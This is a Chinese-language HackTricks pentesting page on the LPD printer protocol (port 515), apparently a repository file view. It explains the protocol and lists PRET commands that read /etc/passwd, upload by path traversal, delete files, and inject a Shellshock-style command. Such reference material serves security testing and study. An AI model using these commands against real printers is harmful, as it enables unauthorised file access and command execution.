hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

3.6 KiB
Raw Blame History

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

LPD协议简介

在20世纪80年代Line Printer Daemon (LPD)协议在伯克利Unix中开发后来通过RFC1179正式规范化。该协议通过端口515/tcp运行允许通过lpr命令进行交互。通过LPD打印的本质涉及发送一个控制文件(用于指定作业详细信息和用户)以及一个数据文件(保存打印信息)。虽然控制文件允许选择各种文件格式用于数据文件但这些文件的处理取决于特定的LPD实现。Unix-like系统中一个广泛认可的实现是LPRng。值得注意的是LPD协议可以被利用来执行恶意PostScriptPJL打印作业

与LPD打印机交互的工具

PRET引入了两个基本工具,lpdprintlpdtest提供了一种与兼容LPD的打印机进行交互的简单方法。这些工具使得从打印数据到操作打印机上的文件如下载、上传或删除等一系列操作成为可能。

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

Shodan

  • 端口 515
从零开始学习AWS黑客技术成为专家 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式